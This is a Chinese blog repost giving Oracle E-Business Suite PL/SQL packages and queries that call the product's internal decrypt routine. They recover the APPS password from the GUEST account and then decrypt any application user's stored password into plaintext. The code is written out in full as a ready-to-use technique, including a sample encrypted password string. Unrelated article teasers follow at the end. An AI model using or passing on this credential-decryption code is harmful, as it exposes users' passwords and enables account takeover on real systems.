EBS 查询用户密码

news/2024/11/6 15:32:40/

–header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;

–body

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;

END CrackPwd;

查询

SELECT usr.user_name,
CrackPwd.getpwd
((SELECT (SELECT CrackPwd.getpwd
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM apps.fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
‘/’
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM apps.fnd_user usr
WHERE usr.user_name = ‘xxxxx’;

另一种方法:
–header
CREATE OR REPLACE PACKAGE cux_fnd_web_sec AUTHID CURRENT_USER AS
–Jianhua.Huang 2005.10.14
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;

FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;

FUNCTION get_app_pass(p_guest_oracle IN VARCHAR2 DEFAULT NULL,
p_encrypted_fnd_password IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;

FUNCTION get_user_pass(p_app_pwd IN VARCHAR2 DEFAULT NULL,
p_user_name IN VARCHAR2) RETURN VARCHAR2;

END;

–body

CREATE OR REPLACE PACKAGE BODY cux_fnd_web_sec AS
/* $Header: AFSCJAVB.pls 115.67 2005/02/14 04:24:01 dehu ship $ */

FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String’;

– Function to decrypt an encrypted string using a specified key.

FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;

FUNCTION get_app_pass(p_guest_oracle IN VARCHAR2 DEFAULT NULL,
p_encrypted_fnd_password IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2 IS
l_key VARCHAR2(4000);
l_encrypted_fnd_password VARCHAR2(4000);
BEGIN

IF p_guest_oracle IS NULL THENl_key := upper(fnd_profile.VALUE('GUEST_USER_PWD'));
ELSEl_key := upper(p_guest_oracle);
END IF;--for 11.5.10
/*
begin
-- Call the procedure
fnd_security_pkg.fnd_encrypted_pwd(p_username => 'GUEST',p_server_id => 'SERVER_ID_IN_DBC_FILE',p_user_id => o_user_id,p_password => o_fnd_encrypted_pwd,p_module => 'FNDPUB',p_version => NULL);
end;
*/
--for 11.5.9
IF p_encrypted_fnd_password IS NULL THENSELECT MAX(usr.encrypted_foundation_password)INTO l_encrypted_fnd_passwordFROM fnd_user usrWHERE usr.user_name = 'GUEST';
ELSEl_encrypted_fnd_password := p_encrypted_fnd_password;
END IF;RETURN decrypt(l_key, l_encrypted_fnd_password);

END;

FUNCTION get_user_pass(p_app_pwd IN VARCHAR2 DEFAULT NULL,
p_user_name IN VARCHAR2) RETURN VARCHAR2 IS
l_key VARCHAR2(4000);
l_encrypted_user_password VARCHAR2(4000);
BEGIN
IF p_app_pwd IS NULL THEN
l_key := get_app_pass;
ELSE
l_key := upper(p_app_pwd);
END IF;

SELECT MAX(usr.encrypted_user_password)INTO l_encrypted_user_passwordFROM fnd_user usrWHERE usr.user_name = upper(p_user_name);RETURN decrypt(l_key, l_encrypted_user_password);

END;
END;
–查询

select cux_fnd_web_sec.decrypt(‘APPS’, ‘ZG70CFD9A95277FCC408FED388ED753DD302C4A35E9489BE2DDB3678146085BB9B24B1EFE8DEF7687E0B0C17C0132829ED9B’) pwd from dual;

select u.encrypted_user_password from fnd_user u where 1=1 and u.user_name = ‘XXXX’;


http://www.ppmy.cn/news/665932.html

相关文章

卡塔尔世界杯在哪里可以看直播?

昨天凯恩的进球我不看,姆巴佩的进球我也不想看,简直了,法国总统直接预测对比分并说出进球球员,像是提前知道结果一样,这比赛感觉和录播好的没啥区别嘛!我不禁都要问了,世界杯在哪里可以看直播&a…

修改密码,判断旧密码并且显示新密码的难易程度

判断旧密码是否输入正确 同时判断输入的新密码是否太简单可视化返回难易信息 思路很简单: 修改密码绑定keyup事件获取登陆时候的原密码进行判断 使用keyup事件就可以实时的反应密码的情况 对密码难易程度的判断就是使用正则表达式 没有就是空白,纯数…

SQL_Server_2012修改sa密码的方法

转载自:http://lichunlong2008.blog.163.com/blog/static/310725492012102532530995/ 1、 先用Window身份验证方式登陆进去,选择数据库实例,右键选择属性——安全性:把服务器身份验证选项从“Window身份验证模式”改为“SQLServer…

计算机输入密码不满足密码策略,密码不满足密码策略的要求windowsserver2008/2012...

windows server 2008 如果需要将密码修改为强度很低的,则可以通过以下方式进行修改: 开始--》管理工具-》本地安全策略 安全设置-》账户策略-》密码策略-》 右击右边的“密码必须符合复杂性要求”,查看“属性” 属性中选择“已禁用”即可。 禁…

闲聊2022卡塔尔世界杯

2022卡塔尔世界杯🏆,作为一个不疯且不懂球的球迷(要是都懂了,我还看个球!),我也想聊聊我的一些看法。 赛前 网友调侃:除了国足,都去了。 细细一想好像真是这么回事&…

Python小游戏:凯撒密码

目录 引言 故事 思路分析 代码实现 对代码的分析 信 写在最后的话 引言 古往今来,人们从未停止对信息的获取与对信息的保护(加密)。而在历史上,有一种加密方式广为人知;这种加密方式也给后来的加密方式的产生、…

利用Python给信用卡设置默认密码

创建信用卡类,并且为该类创建一个构造方法,该构造方法有3个参数,分别是self、卡号和密码。其中,密码可以设置一个默认值123456,代表默认密码。在创建类的实例的时,如果不指定密码,就采用默认密码…

单表代换密码(凯撒密码)

单表代换密码概述 对所有的明文字母都用一个固定的代换进行加密 ,因而称为单表代换密码。加密过程中是从明文字母表到密文字母表的一一映射。例:恺撒(Caesar)密码。缺点:不能抗击字母频度分析,容易被破译单表密码的弱点…